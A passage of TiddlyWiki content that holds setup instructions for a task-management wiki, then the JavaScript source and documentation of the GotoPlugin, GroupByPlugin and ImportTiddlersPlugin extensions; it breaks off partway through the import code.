* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[ReviewMenu]]: Near the very top of this Tiddler, change "Your Name" in {{{[[My Tasks|Your Name]]}}} to your actual name.
* [[Your Name]]: Change the title of this Tiddler to your name
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>

To learn more about editing Tiddlers in this [[TiddlyWiki]], you may want to start with the [[Markup Cheatsheet]].

For an overview of dGSD's features, read [[About dGSD]].

/%<<ifLocked 'This TiddlyWiki use EncryptedVaultPlugin. To load protected content click on'>><<unlock>><<ifUnlocked 'This TiddlyWiki use EncryptedVaultPlugin. To set or change password click on'>><<setPassword>>%/
/***
|Name|GotoPlugin|
|Source|http://www.TiddlyTools.com/#GotoPlugin|
|Documentation|http://www.TiddlyTools.com/#GotoPluginInfo|
|Version|1.9.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|view any tiddler by entering it's title - displays list of possible matches|
''View a tiddler by typing its title and pressing //enter//.''  As you type, a list of possible matches is displayed.  You can scroll-and-click (or use arrows+enter) to select/view a tiddler, or press escape to close the listbox to resume typing.  When the listbox is not displayed, pressing //escape// clears the current input.
!!!Documentation
>see [[GotoPluginInfo]]
!!!Configuration
<<<
*Match titles only after {{twochar{<<option txtIncrementalSearchMin>>}}} or more characters are entered.<br>Use down-arrow to start matching with shorter input.  //Note: This option value is also set/used by [[SearchOptionsPlugin]]//.
*To set the maximum height of the listbox, you can create a tiddler tagged with <<tag systemConfig>>, containing:
//{{{
config.macros.gotoTiddler.listMaxSize=10;  // change this number
//}}}
<<<
!!!Revisions
<<<
2009.05.22 [1.9.2] use reverseLookup() for IncludePlugin
|please see [[GotoPluginInfo]] for additional revision details|
2006.05.05 [0.0.0] started
<<<
!!!Code
***/
//{{{
version.extensions.GotoPlugin= {major: 1, minor: 9, revision: 2, date: new Date(2009,5,22)};

// automatically tweak shadow SideBarOptions to add <<gotoTiddler>> macro above <<search>>
config.shadowTiddlers.SideBarOptions=config.shadowTiddlers.SideBarOptions.replace(/<<search>>/,"{{button{goto}}}\n<<gotoTiddler>><<search>>");

if (config.options.txtIncrementalSearchMin===undefined) config.options.txtIncrementalSearchMin=3;

config.macros.gotoTiddler= { 
	listMaxSize: 10,
	listHeading: 'Found %0 matching title%1...',
	searchItem: "Search for '%0'...",
	handler:
	function(place,macroName,params,wikifier,paramString,tiddler) {
		var quiet	=params.contains("quiet");
		var showlist	=params.contains("showlist");
		var search	=params.contains("search");
		params = paramString.parseParams("anon",null,true,false,false);
		var instyle	=getParam(params,"inputstyle","");
		var liststyle	=getParam(params,"liststyle","");
		var filter	=getParam(params,"filter","");
		var html=this.html;
		var keyevent=window.event?"onkeydown":"onkeypress"; // IE event fixup for ESC handling
		html=html.replace(/%keyevent%/g,keyevent);
		html=html.replace(/%search%/g,search);
		html=html.replace(/%quiet%/g,quiet);
		html=html.replace(/%showlist%/g,showlist);
		html=html.replace(/%display%/g,showlist?'block':'none');
		html=html.replace(/%position%/g,showlist?'static':'absolute');
		html=html.replace(/%instyle%/g,instyle);
		html=html.replace(/%liststyle%/g,liststyle);
		html=html.replace(/%filter%/g,filter);
		if (config.browser.isIE) html=this.IEtableFixup.format([html]);
		var span=createTiddlyElement(place,'span');
		span.innerHTML=html; var form=span.getElementsByTagName("form")[0];
		if (showlist) this.fillList(form.list,'',filter,search,0);
	},
	html:
	'<form onsubmit="return false" style="display:inline;margin:0;padding:0">\
		<input name=gotoTiddler type=text autocomplete="off" accesskey="G" style="%instyle%"\
			title="Enter title text... ENTER=goto, SHIFT-ENTER=search for text, DOWN=select from list"\
			onfocus="this.select(); this.setAttribute(\'accesskey\',\'G\');"\
			%keyevent%="return config.macros.gotoTiddler.inputEscKeyHandler(event,this,this.form.list,%search%,%showlist%);"\
			onkeyup="return config.macros.gotoTiddler.inputKeyHandler(event,this,%quiet%,%search%,%showlist%);">\
		<select name=list style="display:%display%;position:%position%;%liststyle%"\
			onchange="if (!this.selectedIndex) this.selectedIndex=1;"\
			onblur="this.style.display=%showlist%?\'block\':\'none\';"\
			%keyevent%="return config.macros.gotoTiddler.selectKeyHandler(event,this,this.form.gotoTiddler,%showlist%);"\
			onclick="return config.macros.gotoTiddler.processItem(this.value,this.form.gotoTiddler,this,%showlist%);">\
		</select><input name="filter" type="hidden" value="%filter%">\
	</form>',
	IEtableFixup:
	"<table style='width:100%;display:inline;padding:0;margin:0;border:0;'>\
		<tr style='padding:0;margin:0;border:0;'><td style='padding:0;margin:0;border:0;'>\
		%0</td></tr></table>",
	getItems:
	function(list,val,filter) {
		if (!list.cache || !list.cache.length || val.length<=config.options.txtIncrementalSearchMin) {
			// starting new search, fetch and cache list of tiddlers/shadows/tags
			list.cache=new Array();
			if (filter.length) {
				var fn=store.getMatchingTiddlers||store.getTaggedTiddlers;
				var tiddlers=store.sortTiddlers(fn.apply(store,[filter]),'title');
			} else 
				var tiddlers=store.reverseLookup('tags','excludeLists');
			for(var t=0; t<tiddlers.length; t++) list.cache.push(tiddlers[t].title);
			if (!filter.length) {
				for (var t in config.shadowTiddlers) list.cache.pushUnique(t);
				var tags=store.getTags();
				for(var t=0; t<tags.length; t++) list.cache.pushUnique(tags[t][0]);
			}
		}
		var found = [];
		var match=val.toLowerCase();
		for(var i=0; i<list.cache.length; i++)
			if (list.cache[i].toLowerCase().indexOf(match)!=-1) found.push(list.cache[i]);
		return found;
	},
	getItemSuffix:
	function(t) {
		if (store.tiddlerExists(t)) return "";  // tiddler
		if (store.isShadowTiddler(t)) return " (shadow)"; // shadow
		return " (tag)"; // tag 
	},
	fillList:
	function(list,val,filter,search,key) {
		if (list.style.display=="none") return; // not visible... do nothing!
		var indent='\xa0\xa0\xa0';
		var found = this.getItems(list,val,filter); // find matching items...
		found.sort(); // alpha by title
		while (list.length > 0) list.options[0]=null; // clear list
		var hdr=this.listHeading.format([found.length,found.length==1?"":"s"]);
		list.options[0]=new Option(hdr,"",false,false);
		for (var t=0; t<found.length; t++) list.options[list.length]=
			new Option(indent+found[t]+this.getItemSuffix(found[t]),found[t],false,false);
		if (search)
			list.options[list.length]=new Option(this.searchItem.format([val]),"*",false,false);
		list.size=(list.length<this.listMaxSize?list.length:this.listMaxSize); // resize list...
		list.selectedIndex=key==38?list.length-1:key==40?1:0;
	},
	keyProcessed:
	function(ev) { // utility function
		ev.cancelBubble=true; // IE4+
		try{event.keyCode=0;}catch(e){}; // IE5
		if (window.event) ev.returnValue=false; // IE6
		if (ev.preventDefault) ev.preventDefault(); // moz/opera/konqueror
		if (ev.stopPropagation) ev.stopPropagation(); // all
		return false;
	},
	inputEscKeyHandler:
	function(event,here,list,search,showlist) {
		if (event.keyCode==27) {
			if (showlist) { // clear input, reset list
				here.value=here.defaultValue;
				this.fillList(list,'',here.form.filter.value,search,0);
			}
			else if (list.style.display=="none") // clear input
				here.value=here.defaultValue;
			else list.style.display="none"; // hide list
			return this.keyProcessed(event);
		}
		return true; // key bubbles up
	},
	inputKeyHandler:
	function(event,here,quiet,search,showlist) {
		var key=event.keyCode;
		var list=here.form.list;
		var filter=here.form.filter;
		// non-printing chars bubble up, except for a few:
		if (key<48) switch(key) {
			// backspace=8, enter=13, space=32, up=38, down=40, delete=46
			case 8: case 13: case 32: case 38: case 40: case 46: break; default: return true;
		}
		// blank input... if down/enter... fall through (list all)... else, and hide or reset list
		if (!here.value.length && !(key==40 || key==13)) {
			if (showlist) this.fillList(here.form.list,'',here.form.filter.value,search,0);
			else list.style.display="none";
			return this.keyProcessed(event);
		}
		// hide list if quiet, or below input minimum (and not showlist)
		list.style.display=(!showlist&&(quiet||here.value.length<config.options.txtIncrementalSearchMin))?'none':'block';
		// non-blank input... enter=show/create tiddler, SHIFT-enter=search for text
		if (key==13 && here.value.length) return this.processItem(event.shiftKey?'*':here.value,here,list,showlist);
		// up or down key, or enter with blank input... shows and moves to list...
		if (key==38 || key==40 || key==13) { list.style.display="block"; list.focus(); }
		this.fillList(list,here.value,filter.value,search,key);
		return true; // key bubbles up
	},
	selectKeyHandler:
	function(event,list,editfield,showlist) {
		if (event.keyCode==27) // escape... hide list, move to edit field
			{ editfield.focus(); list.style.display=showlist?'block':'none'; return this.keyProcessed(event); }
		if (event.keyCode==13 && list.value.length) // enter... view selected item
			{ this.processItem(list.value,editfield,list,showlist); return this.keyProcessed(event); }
		return true; // key bubbles up
	},
	processItem:
	function(title,here,list,showlist) {
		if (!title.length) return;
		list.style.display=showlist?'block':'none';
		if (title=="*")	{ story.search(here.value); return false; } // do full-text search
		if (!showlist) here.value=title;
		story.displayTiddler(null,title); // show selected tiddler
		return false;
	}
}
//}}}
/***
|Name|GotoPluginInfo|
|Source|http://www.TiddlyTools.com/#GotoPlugin|
|Documentation|http://www.TiddlyTools.com/#GotoPluginInfo|
|Version|1.9.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for GotoPlugin|
''View a tiddler by typing its title and pressing //enter//.''  As you type, a list of possible matches is displayed.  You can scroll-and-click (or use arrows+enter) to select/view a tiddler, or press escape to close the listbox to resume typing.  When the listbox is not displayed, pressing //escape// clears the current input.
!!!!!Usage/Examples
<<<
syntax: {{{<<gotoTiddler quiet search inputstyle:... liststyle:... filter:...>>}}}
All parameters are optional.
* ''quiet'' (//keyword//)<br>list will not be automatically display as each character is typed.  Use //down// or //enter// to view the list.
* ''showlist'' (//keyword//)<br>list will always be displayed, inline, directly below the input field.
* ''search'' (//keyword//)<br>adds an extra 'command item' to the list that can be used to invoke a full-text search using the entered value.  This can be especially useful when no matching tiddler titles have been found.
* ''inputstyle:'' and ''liststyle:''<br>are CSS declarations that modify the default input and listbox styles, respectively.  Note: the CSS styles must be surrounded by ({{{"..."}}} or {{{'...'}}}) or ({{{[[...]]}}}) (e.g., {{{liststyle:"border:1px dotted blue;color:green;..."}}}.
* ''filter:''<br>is a single tag value (or a boolean tag expression if MatchTagsPlugin is installed), and is used to limit the search to only those tiddlers matching the indicated tag or tag expression (e.g., {{{<<gotoTiddler filter:"faq or help">>}}})
{{{<<gotoTiddler>>}}}
<<gotoTiddler>>
{{{<<gotoTiddler search>>}}}
<<gotoTiddler search>>
{{{<<gotoTiddler showlist filter:"pluginInfo" liststyle:"height:10em;width:auto;">>}}}
<<gotoTiddler showlist filter:"pluginInfo" liststyle:"height:10em;width:auto;">>
<<<
!!!!!Configuration
<<<
*Match titles only after {{twochar{<<option txtIncrementalSearchMin>>}}} or more characters are entered.<br>Use down-arrow to start matching with shorter input.  //Note: This option value is also set/used by [[SearchOptionsPlugin]]//.
*To set the maximum height of the listbox, you can create a tiddler tagged with <<tag systemConfig>>, containing:
//{{{
config.macros.gotoTiddler.listMaxSize=10;  // change this number
//}}}
<<<
!!!!!Revisions
<<<
2009.05.22 1.9.2 use reverseLookup() for IncludePlugin
2009.04.12 1.9.1 support multiple instances with different filters by using per-element tiddler cache instead of shared static cache
2009.04.05 1.9.0 added 'showlist' parameter for inline display with listbox always visible.
2009.03.23 1.8.0 added txtIncrementalSearchMin (default=3).  Avoids fetching long lists.  Use down arrow to force search with short input.
2008.12.15 1.7.1 up arrow from input field now moves to end of droplist (search for input).  Also, shift+enter cam now be used to quickly invoke search for text.
2008.10.16 1.7.0 in macro handler(), changed to use //named// params instead of positional params, and added optional "filter:" param for tag filtering.  Removed 'insert' handling (now provided by [[QuickEditPlugin]]).
2008.10.02 1.6.1 for IE, wrap controls in a table.  Corrects placement of listbox so it is below input field.
2008.10.02 1.6.0 added 'search' param for optional "Search for:" item that invokes full text search (especially useful when no title matches are found)
2008.02.17 1.5.0 ENTER key always displays tiddler based on current input regardless of whether input matches any existing tiddler
2007.10.31 1.4.3 removed extra trailing comma on last property of config.macros.gotoTiddler object.  This fixes an error under InternetExplorer that was introduced 6 days ago... sure, I should have found it sooner, but... WHY DON'T PEOPLE TELL ME WHEN THINGS ARE BROKEN!!!!
2007.10.25 1.4.2 added onclick handler for input field, so that clicking in field hides the listbox.
2007.10.25 1.4.1 re-wrote getItems() to cache list of tiddlers/shadows/tags and use case-folded simple text match instead of regular expression to find matching tiddlers.  This *vastly* reduces processing overhead between keystrokes, especially for documents with many (>1000) tiddlers.  Also, removed local definition of replaceSelection(), now supported directly by the TW2.2+ core, as well as via backward-compatible plugin
2007.04.25 1.4.0 renamed macro from "goto" to "gotoTiddler".  This was necessary to avoid a fatal syntax error in Opera (and other browsers) that require strict adherence to ECMAScript 1.5 standards which defines the identifier "goto" as "reserved for FUTURE USE"... *sigh*
2007.04.21 1.3.2 in html definition, removed DIV around droplist (see 1.2.6 below).  It created more layout problems then it solved. :-(
2007.04.01 1.3.1 in processItem(), ensure that correct textarea field is found by checking for edit=="text" attribute
2007.03.30 1.3.0 tweak SideBarOptions shadow to automatically add {{{<<goto>>}}} when using default sidebar content
2007.03.30 1.2.6 in html definition, added DIV around droplist to fix IE problem where list appears next to input field instead of below it.  
2007.03.28 1.2.5 in processItem(), set focus to text area before setting selection (needed for IE to get correct selection 'range')
2007.03.28 1.2.4 added prompt for 'pretty text' when inserting a link into tiddler content
2007.03.28 1.2.3 added local copy of core replaceSelection() and modified for different replace logic
2007.03.27 1.2.2 in processItem(), use story.getTiddlerField() to retrieve textarea control
2007.03.26 1.2.1 in html, use either 'onkeydown' (IE) or 'onkeypress' (Moz) event to process <esc> key sooner, to prevent <esc> from 'bubbling up' to the tiddler (which will close the current editor).
2007.03.26 1.2.0 added support for optional "insert" keyword param.
2006.05.10 1.1.2 when filling listbox, set selection to 'heading' item... auto-select first tiddler title when down/enter moves focus into listbox
2006.05.08 1.1.1 added accesskey ("G") to input field html (also set when field gets focus).  Also, inputKeyHandler() skips non-printing/non-editing keys. 
2006.05.08 1.1.0 added heading to listbox for better feedback (also avoids problems with 1-line droplist)
2006.05.07 1.0.0 list matches against tiddlers/shadows/tags.  input field auto-completion... 1st enter=complete matching input (or show list)... 2nd enter=view tiddler.  "quiet" param controls when listbox appears.  handling for enter (13), escape(27), and down(40) keys.   Change 'ondblclick' to 'onclick' to avoid unintended triggering of tiddler editor).  Shadow titles inserted into list instead of appended to the end.
2006.05.05 0.0.0 started
<<<
|company|my small one|
* ''company'' :< [[georges]] [[susan]] [[burt]]
* ''georges''  -> [[likes|susan]] susan  very much, and is [[employee|burt]]
* ''susan''  -> [[secretary|burt]]
* ''michel'' -> [[married to|susan]]
/***
|''Name''|GroupByPlugin|
|''Description''|Mimics allTags macro to provide ways of creating lists grouping tiddlers by any field|
|''Version''|0.6.1|
|''Author''|Jon Robson|
|''Status''|beta|
!Usage
{{{<<groupBy tags>>}}}
mimics allTags macro

{{{<<groupBy server.bag>>}}}
groups by the server.bag field (this version contains TiddlySpace specific code for turning a bag into a space name)

{{{groupBy modified dateFormat:"YYYY"}}}
group tiddlers by year.

{{{<<groupBy tags exclude:excludeLists exclude:systemConfig>>}}}
group tiddlers by tag but exclude the tags with values excludeLists and systemConfig

Within that group you can also exclude things by filter
{{{groupBy modifier filter:[tag[film]]}}}
will group tiddlers tagged with film by modifier.
***/
//{{{
(function($) {
var taglocale = config.views.wikified.tag;
var macro = config.macros.groupBy = {
	locale: {
		tooltip: "all tiddlers in group %0",
		noTiddlers: "no tiddlers",
		openAllText: taglocale.openAllText,
		openAllTooltip: taglocale.openAllTooltip,
		openTiddler: "open tiddler with title %0"
	},
	morpher: {
		// TODO: note currently the following 2 morphers are TiddlySpace specific and probably should be in separate plugin
		"server.workspace": function(value, options) {
			return macro.morpher["server.bag"](value.replace("bags/", "").replace("recipes/", ""));
		},
		"server.bag": function(value, options) {
			if(typeof(value) !== "string") {
				return false;
			} else if(value.indexOf("_public") === -1 && value.indexOf("_private") === -1) {
				value = "*%0".format(value); // add star for non-space bags.
			}
			return value.replace("_public", "").replace("_private", "");
		},
		created: function(value, options) {
			return value.formatString(options.dateFormat || "DD MMM YYYY");
		},
		modified: function(value, options) {
			return macro.morpher.created(value, options);
		}
	},

	handler: function(place, macroName, params, wikifier, paramString) {
		var field = params[0] || "server.workspace";
		var dateFormat = params[1] || "DD MMM YYYY";
		var container = $("<div />").attr("macroName", macroName).addClass("groupBy").
			attr("refresh", "macro").attr("fieldName", field).
			attr("paramString", paramString).
			attr("dateFormat", dateFormat).appendTo(place)[0];
		macro.refresh(container);
	},
	isTypeArray: function(value) {
		var valueType = typeof value;
		if(valueType === "object" && typeof value.length === "number" &&
			!(value.propertyIsEnumerable("length")) &&
			typeof value.splice === "function") { //is Array
			return true;
		} else {
			return false;
		}
	},
	_onClickGroup: function(ev, options) {
		var i, target = ev.target, locale = macro.locale;
		var tiddlers = $(target).closest(".templateContainer").data("tiddlers");
		var popup = $(Popup.create(target)).addClass("taggedTiddlerList")[0];
		var value = $(target).attr("value");
		var openAll = createTiddlyButton($("<li />").appendTo(popup)[0],
			locale.openAllText.format(value), locale.openAllTooltip);
		$(openAll).click(function(ev) {
			story.displayTiddlers(ev.target, tiddlers);
			return false;
		});
		var listBreak = $("<li />").addClass("listBreak").html("<div />").appendTo(popup);
		for(i = 0; i < tiddlers.length; i++) {
			var item = $("<li />").appendTo(popup)[0];
			var template = store.getTiddlerText(options.template) || macro.template;
			wikify(template, item, null, tiddlers[i]);
		}
		listBreak.clone().appendTo(popup);
		$(createTiddlyLink($("<li />").appendTo(popup)[0], value, false)).
			text(locale.openTiddler.format(value));
		Popup.show();
		ev.stopPropagation();
		return false;
	},
	_refresh: function(container, tiddlers, options) {
		var totalGroups = 0, locale = macro.locale, i, j;
		var excludeValues = options.exclude;
		var values = {}, value_ids = [];
		var field = options.field;
		var morpher = macro.morpher[field] || function(value) {
			return value;
		};
		for(i = 0; i < tiddlers.length; i++) {
			var tiddler = tiddlers[i];
			var value = tiddler[field] || tiddler.fields[field];
			value = macro.isTypeArray(value) ? value : [ value ];
			for(j = 0; j < value.length; j++) {
				var v = morpher(value[j], options);
				if(v && excludeValues.indexOf(v) === -1) {
					totalGroups += 1;
					if(!values[v]) {
						values[v] = [];
					}
					values[v].push(tiddler);
					value_ids.pushUnique(v);
				}
			}
		}
		var ul = $("<ul />").appendTo(container)[0];
		if(totalGroups === 0) {
			$("<li />").addClass("listTitle").text(locale.noTiddlers);
		}
		value_ids = value_ids.sort();
		var groupTemplate = store.getTiddlerText(options.groupTemplate);
		var onClick = function(ev) {
			macro._onClickGroup(ev, options);
		};
		for(i = 0; i < value_ids.length; i++) {
			var title = value_ids[i];
			var info = getTiddlyLinkInfo(title);
			tiddlers = values[title];
			var btn = createTiddlyButton($("<li />").appendTo(ul)[0],
				"%0 (%1)".format(title, tiddlers.length), locale.tooltip.format(title), null, info.classes);
			if(groupTemplate) {
				$(btn).empty();
				wikify(groupTemplate, btn, null, tiddlers[0]);
			}
			$(btn).click(onClick).attr("value", title).attr("refresh", "link").attr("tiddlyLink", title);
			$(btn).addClass("templateContainer").data("tiddlers", tiddlers);
		}
	},
	refresh: function(container) {
		container = $(container).empty();
		var paramString = container.attr("paramString");
		var args = paramString.parseParams("name", null, true, false, true)[0];
		var options = { field: container.attr("fieldName"), dateFormat: container.attr("dateFormat"), exclude: args.exclude || [],
			template: args.template ? args.template[0] : false, groupTemplate: args.groupTemplate ? args.groupTemplate[0] : "" };
		var tiddlers = args.filter ? store.filterTiddlers(args.filter[0]) : store.getTiddlers("title");
		macro._refresh(container, tiddlers, options);
	},
	template: "<<view title link>>"
};

}(jQuery));
//}}}
<<tiddler [[About dGSD]]>>
order:3
button:h
buttonLong:held


/***
|Name|ImportTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#ImportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ImportTiddlersPluginInfo|
|Version|4.6.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|interactive controls for import/export with filtering.|
Combine tiddlers from any two TiddlyWiki documents.  Interactively select and copy tiddlers from another TiddlyWiki source document.  Includes prompting for skip, rename, merge or replace actions when importing tiddlers that match existing titles.  When done, a list of all imported tiddlers is written into [[ImportedTiddlers]].
!!!!!Documentation
<<<
see [[ImportTiddlersPluginInfo]] for details
<<<
!!!!!interactive control panel
<<<
<<importTiddlers inline>>
{{clear{
^^(see also: [[ImportTiddlers]] shadow tiddler)^^}}}
<<<
!!!!!Revisions
<<<
2011.02.14 4.6.2 fix OSX error: use picker.file.path
2009.10.10 4.6.1 in createImportPanel, Use {{{window.Components}}} instead of {{{config.browser.isGecko}}} to avoid applying FF3 'file browse' fixup in Chrome.
2009.10.06 4.6.0 added createTiddlerFromFile (import text files)
|please see [[ImportTiddlersPluginInfo]] for additional revision details|
2005.07.20 1.0.0 Initial Release
<<<
!!!!!Code
***/
//{{{
version.extensions.ImportTiddlersPlugin= {major: 4, minor: 6, revision: 2, date: new Date(2011,2,14)};

// IE needs explicit global scoping for functions/vars called from browser events
window.onClickImportButton=onClickImportButton;
window.refreshImportList=refreshImportList;

// default cookie/option values
if (!config.options.chkImportReport) config.options.chkImportReport=true;

// default shadow definition
config.shadowTiddlers.ImportTiddlers='<<importTiddlers inline>>';

// use shadow tiddler content in backstage panel
if (config.tasks) config.tasks.importTask.content='<<tiddler ImportTiddlers>>' // TW2.2 or above
//}}}
//{{{
// backward-compatiblity for TW2.0.x and TW1.2.x
if (config.macros.importTiddlers==undefined) config.macros.importTiddlers={};
if (typeof merge=='undefined') {
	function merge(dst,src,preserveExisting) {
		for(var i in src) { if(!preserveExisting || dst[i] === undefined) dst[i] = src[i]; }
		return dst;
	}
}
if (config.browser.isGecko===undefined)
	config.browser.isGecko=(config.userAgent.indexOf('gecko')!=-1);
//}}}
//{{{
merge(config.macros.importTiddlers,{
	$: function(id) { return document.getElementById(id); }, // abbreviation
	label: 'import tiddlers',
	prompt: 'Copy tiddlers from another document',
	openMsg: 'Opening %0',
	openErrMsg: 'Could not open %0 - error=%1',
	readMsg: 'Read %0 bytes from %1',
	foundMsg: 'Found %0 tiddlers in %1',
	filterMsg: "Filtered %0 tiddlers matching '%1'",
	summaryMsg: '%0 tiddler%1 in the list',
	summaryFilteredMsg: '%0 of %1 tiddler%2 in the list',
	plural: 's are',
	single: ' is',
	countMsg: '%0 tiddlers selected for import',
	processedMsg: 'Processed %0 tiddlers',
	importedMsg: 'Imported %0 of %1 tiddlers from %2',
	loadText: 'please load a document...',
	closeText: 'close',
	doneText: 'done',
	startText: 'import',
	stopText: 'stop',
	local: true,		// default to import from local file
	src: '',		// path/filename or URL of document to import (retrieved from SiteUrl)
	proxy: '',		// URL for remote proxy script (retrieved from SiteProxy)
	useProxy: false,	// use specific proxy script in front of remote URL
	inbound: null,		// hash-indexed array of tiddlers from other document
	newTags: '',		// text of tags added to imported tiddlers
	addTags: true,		// add new tags to imported tiddlers
	listsize: 10,		// # of lines to show in imported tiddler list
	importTags: true,	// include tags from remote source document when importing a tiddler
	keepTags: true,		// retain existing tags when replacing a tiddler
	sync: false,		// add 'server' fields to imported tiddlers (for sync function)
	lastFilter: '',		// most recent filter (URL hash) applied
	lastAction: null,	// most recent collision button performed
	index: 0,		// current processing index in import list
	sort: ''		// sort order for imported tiddler listbox
});
//}}}
//{{{
// hijack core macro handler
if (config.macros.importTiddlers.coreHandler==undefined)
	config.macros.importTiddlers.coreHandler=config.macros.importTiddlers.handler;

config.macros.importTiddlers.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	if (!params[0] || params[0].toLowerCase()=='core') { // default to built in
		if (config.macros.importTiddlers.coreHandler)
			config.macros.importTiddlers.coreHandler.apply(this,arguments);
		else 
			createTiddlyButton(place,this.label,this.prompt,onClickImportMenu);
	} else if (params[0]=='link') { // show link to floating panel
		createTiddlyButton(place,params[1]||this.label,params[2]||this.prompt,onClickImportMenu);
	} else if (params[0]=='inline') {// show panel as INLINE tiddler content
		createImportPanel(place);
		this.$('importPanel').style.position='static';
		this.$('importPanel').style.display='block';
	} else if (config.macros.loadTiddlers)
		config.macros.loadTiddlers.handler(place,macroName,params); // any other params: loadtiddlers
}
//}}}
//{{{
// Handle link click to create/show/hide control panel
function onClickImportMenu(e) { var e=e||window.event;
	var parent=resolveTarget(e).parentNode;
	var panel=document.getElementById('importPanel');
	if (panel==undefined || panel.parentNode!=parent) panel=createImportPanel(parent);
	var isOpen=panel.style.display=='block';
	if(config.options.chkAnimate)
		anim.startAnimating(new Slider(panel,!isOpen,false,'none'));
	else
		panel.style.display=isOpen?'none':'block';
	e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); return(false);
}
//}}}
//{{{
// Create control panel: HTML, CSS
function createImportPanel(place) {
	var cmi=config.macros.importTiddlers; // abbrev
	var panel=cmi.$('importPanel');
	if (panel) { panel.parentNode.removeChild(panel); }
	setStylesheet(store.getTiddlerText('ImportTiddlersPlugin##css'),'importTiddlers');
	panel=createTiddlyElement(place,'span','importPanel',null,null)
	panel.innerHTML=store.getTiddlerText('ImportTiddlersPlugin##html');
	refreshImportList();
	if (!cmi.src.length) cmi.src=store.getTiddlerText('SiteUrl')||'';
	cmi.$('importSourceURL').value=cmi.src;
	if (!cmi.proxy.length) cmi.proxy=store.getTiddlerText('SiteProxy')||'SiteProxy';
	cmi.$('importSiteProxy').value=cmi.proxy;
	if (window.Components) { // FF3 FIXUP
		cmi.$('fileImportSource').style.display='none';
		cmi.$('importLocalPanelFix').style.display='block';
	}
	cmi.$('chkSync').checked=cmi.sync;
	cmi.$('chkImportTags').checked=cmi.importTags;
	cmi.$('chkKeepTags').checked=cmi.keepTags;
	cmi.$('chkAddTags').checked=cmi.addTags;
	cmi.$('txtNewTags').value=cmi.newTags;
	cmi.$('txtNewTags').style.display=cmi.addTags?'block':'none';
	cmi.$('chkSync').checked=cmi.sync;
	cmi.$('chkImportReport').checked=config.options.chkImportReport;
	return panel;
}
//}}}
//{{{
// process control interactions
function onClickImportButton(which,event) {
	var cmi=config.macros.importTiddlers; // abbreviation
	var list=cmi.$('importList'); if (!list) return false;
	var thePanel=cmi.$('importPanel');
	var theCollisionPanel=cmi.$('importCollisionPanel');
	var theNewTitle=cmi.$('importNewTitle');
	var count=0;
	switch (which.id)
		{
		case 'importFromFile':	// show local panel
		case 'importFromWeb':	// show HTTP panel
			cmi.local=(which.id=='importFromFile');
			cmi.showPanel('importLocalPanel',cmi.local);
			cmi.showPanel('importHTTPPanel',!cmi.local);
			break;
		case 'importOptions':	// show/hide options panel
			cmi.showPanel('importOptionsPanel',cmi.$('importOptionsPanel').style.display=='none');
			break;
		case 'fileImportSource':
		case 'importLoad':		// load import source into hidden frame
			importReport();		// if an import was in progress, generate a report
			cmi.inbound=null;	// clear the imported tiddler buffer
			refreshImportList();	// reset/resize the listbox
			if (cmi.src=='') break;
			// Load document, read it's DOM and fill the list
			cmi.loadRemoteFile(cmi.src,cmi.filterTiddlerList);
			break;
		case 'importSelectFeed':	// select a pre-defined systemServer feed URL
			var p=Popup.create(which); if (!p) return false;
			var tids=store.getTaggedTiddlers('systemServer');
			if (!tids.length)
				createTiddlyText(createTiddlyElement(p,'li'),'no pre-defined server feeds');
			for (var t=0; t<tids.length; t++) {
				var u=store.getTiddlerSlice(tids[t].title,'URL');
				var d=store.getTiddlerSlice(tids[t].title,'Description');
				if (!d||!d.length) d=store.getTiddlerSlice(tids[t].title,'description');
				if (!d||!d.length) d=u;
				createTiddlyButton(createTiddlyElement(p,'li'),tids[t].title,d,
					function(){
						var u=this.getAttribute('url');
						document.getElementById('importSourceURL').value=u;
						config.macros.importTiddlers.src=u;
						document.getElementById('importLoad').onclick();
					},
					null,null,null,{url:u});
			}
			Popup.show();
			event.cancelBubble = true;
			if (event.stopPropagation) event.stopPropagation();
			return false;
			// create popup with feed list
			// onselect, insert feed URL into input field.
			break;
		case 'importSelectAll':		// select all tiddler list items (i.e., not headings)
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				if (list.options[t].value=='') continue;
				list.options[t].selected=true;
				count++;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			cmi.$('importStart').disabled=!count;
			break;
		case 'importSelectNew':		// select tiddlers not in current document
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value=='') continue;
				list.options[t].selected=!store.tiddlerExists(list.options[t].value);
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			cmi.$('importStart').disabled=!count;
			break;
		case 'importSelectChanges':		// select tiddlers that are updated from existing tiddlers
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value==''||!store.tiddlerExists(list.options[t].value)) continue;
				for (var i=0; i<cmi.inbound.length; i++) // find matching inbound tiddler
					{ var inbound=cmi.inbound[i]; if (inbound.title==list.options[t].value) break; }
				list.options[t].selected=(inbound.modified-store.getTiddler(list.options[t].value).modified>0); // updated tiddler
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			cmi.$('importStart').disabled=!count;
			break;
		case 'importSelectDifferences':		// select tiddlers that are new or different from existing tiddlers
			importReport();		// if an import was in progress, generate a report
			for (var t=0,count=0; t < list.options.length; t++) {
				list.options[t].selected=false;
				if (list.options[t].value=='') continue;
				if (!store.tiddlerExists(list.options[t].value)) { list.options[t].selected=true; count++; continue; }
				for (var i=0; i<cmi.inbound.length; i++) // find matching inbound tiddler
